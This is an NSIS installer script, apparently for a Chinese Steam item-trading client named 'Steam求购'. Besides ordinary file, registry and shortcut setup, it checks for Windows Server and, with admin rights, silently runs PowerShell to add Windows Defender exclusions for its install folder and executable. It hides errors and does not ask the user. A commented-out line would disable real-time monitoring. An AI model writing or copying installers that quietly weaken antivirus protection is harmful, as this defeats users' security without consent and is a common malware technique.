installer.nsi 4.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154
  1. ; BUFF选品客户端 - 自定义 NSIS 安装脚本
  2. ; 包含 Windows Server 2019 安全设置自动配置
  3. !include "MUI2.nsh"
  4. !include "FileFunc.nsh"
  5. ; ============================================
  6. ; 全局变量
  7. ; ============================================
  8. Var IS_SERVER_OS
  9. Var IS_ADMIN
  10. ; ============================================
  11. ; 安装程序信息
  12. ; ============================================
  13. Name "Steam求购"
  14. OutFile "Steam求购_0.1.0_x64-setup.exe"
  15. InstallDir "$PROGRAMFILES64\Steam求购"
  16. InstallDirRegKey HKLM "Software\Steam求购" "InstallDir"
  17. RequestExecutionLevel admin
  18. SetCompressor /SOLID lzma
  19. ; ============================================
  20. ; MUI 设置
  21. ; ============================================
  22. !define MUI_ABORTWARNING
  23. !define MUI_ICON "icons\icon.ico"
  24. !define MUI_UNICON "icons\icon.ico"
  25. ; 语言选择
  26. !define MUI_LANGDLL_ALLLANGUAGES
  27. ; ============================================
  28. ; 页面定义
  29. ; ============================================
  30. !insertmacro MUI_PAGE_WELCOME
  31. !insertmacro MUI_PAGE_LICENSE "license.txt"
  32. !insertmacro MUI_PAGE_DIRECTORY
  33. !insertmacro MUI_PAGE_INSTFILES
  34. !insertmacro MUI_PAGE_FINISH
  35. !insertmacro MUI_UNPAGE_CONFIRM
  36. !insertmacro MUI_UNPAGE_INSTFILES
  37. !insertmacro MUI_LANGUAGE "SimpChinese"
  38. !insertmacro MUI_LANGUAGE "English"
  39. ; ============================================
  40. ; 安装节
  41. ; ============================================
  42. Section "安装" SecInstall
  43. SetOutPath "$INSTDIR"
  44. ; 检测是否为服务器系统
  45. Call IsWindowsServer
  46. ; 检测是否有管理员权限
  47. Call CheckAdminRights
  48. ; 复制所有文件
  49. File /r ".\*"
  50. ; 创建卸载程序
  51. WriteUninstaller "$INSTDIR\Uninstall.exe"
  52. ; 写入注册表
  53. WriteRegStr HKLM "Software\Steam求购" "InstallDir" "$INSTDIR"
  54. WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\Steam求购" "DisplayName" "Steam求购"
  55. WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\Steam求购" "UninstallString" "$INSTDIR\Uninstall.exe"
  56. WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\Steam求购" "DisplayIcon" "$INSTDIR\Steam求购.exe"
  57. WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\Steam求购" "Publisher" "Steam求购"
  58. WriteRegStr HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\Steam求购" "DisplayVersion" "0.1.0"
  59. ; 创建桌面快捷方式
  60. CreateShortCut "$DESKTOP\Steam求购.lnk" "$INSTDIR\Steam求购.exe"
  61. ; 创建开始菜单快捷方式
  62. CreateDirectory "$SMPROGRAMS\Steam求购"
  63. CreateShortCut "$SMPROGRAMS\Steam求购\启动程序.lnk" "$INSTDIR\Steam求购.exe"
  64. CreateShortCut "$SMPROGRAMS\Steam求购\卸载.lnk" "$INSTDIR\Uninstall.exe"
  65. ; 如果是服务器系统,自动配置安全设置
  66. ${If} $IS_SERVER_OS == "1"
  67. Call DisableWindowsDefender
  68. ${EndIf}
  69. SectionEnd
  70. ; ============================================
  71. ; 卸载节
  72. ; ============================================
  73. Section "Uninstall"
  74. ; 移除文件
  75. RMDir /r "$INSTDIR"
  76. ; 移除注册表
  77. DeleteRegKey HKLM "Software\Steam求购"
  78. DeleteRegKey HKLM "Software\Microsoft\Windows\CurrentVersion\Uninstall\Steam求购"
  79. ; 移除快捷方式
  80. Delete "$DESKTOP\Steam求购.lnk"
  81. RMDir /r "$SMPROGRAMS\Steam求购"
  82. SectionEnd
  83. ; ============================================
  84. ; 函数定义
  85. ; ============================================
  86. ; 检测是否为 Windows Server
  87. Function IsWindowsServer
  88. ReadRegStr $0 HKLM "SYSTEM\CurrentControlSet\Services\Server" "Start"
  89. ${If} $0 != ""
  90. StrCpy $IS_SERVER_OS "1"
  91. ${Else}
  92. ; 备用检测方法
  93. ReadRegStr $0 HKLM "SYSTEM\CurrentControlSet\Control\ProductOptions" "ProductType"
  94. ${If} $0 == "ServerNT" || $0 == "LanmanNT"
  95. StrCpy $IS_SERVER_OS "1"
  96. ${Else}
  97. StrCpy $IS_SERVER_OS "0"
  98. ${EndIf}
  99. ${EndIf}
  100. FunctionEnd
  101. ; 检测管理员权限
  102. Function CheckAdminRights
  103. UserInfo::GetAccountType
  104. Pop $0
  105. ${If} $0 == "Admin"
  106. StrCpy $IS_ADMIN "1"
  107. ${Else}
  108. StrCpy $IS_ADMIN "0"
  109. ${EndIf}
  110. FunctionEnd
  111. ; 禁用 Windows Defender(需要管理员权限)
  112. Function DisableWindowsDefender
  113. ${If} $IS_ADMIN == "1"
  114. ; 添加排除路径
  115. ExecWait 'powershell -Command "Add-MpPreference -ExclusionPath \"$INSTDIR\" -ErrorAction SilentlyContinue"'
  116. ExecWait 'powershell -Command "Add-MpPreference -ExclusionProcess \"$INSTDIR\Steam求购.exe\" -ErrorAction SilentlyContinue"'
  117. ; 禁用实时监控(可选,取消注释以启用)
  118. ; ExecWait 'powershell -Command "Set-MpPreference -DisableRealtimeMonitoring \$true -ErrorAction SilentlyContinue"'
  119. ${EndIf}
  120. FunctionEnd
  121. ; ============================================
  122. ; 安装前检查
  123. ; ============================================
  124. Function .onInit
  125. ; 显示语言选择
  126. !insertmacro MUI_LANGDLL_DISPLAY
  127. FunctionEnd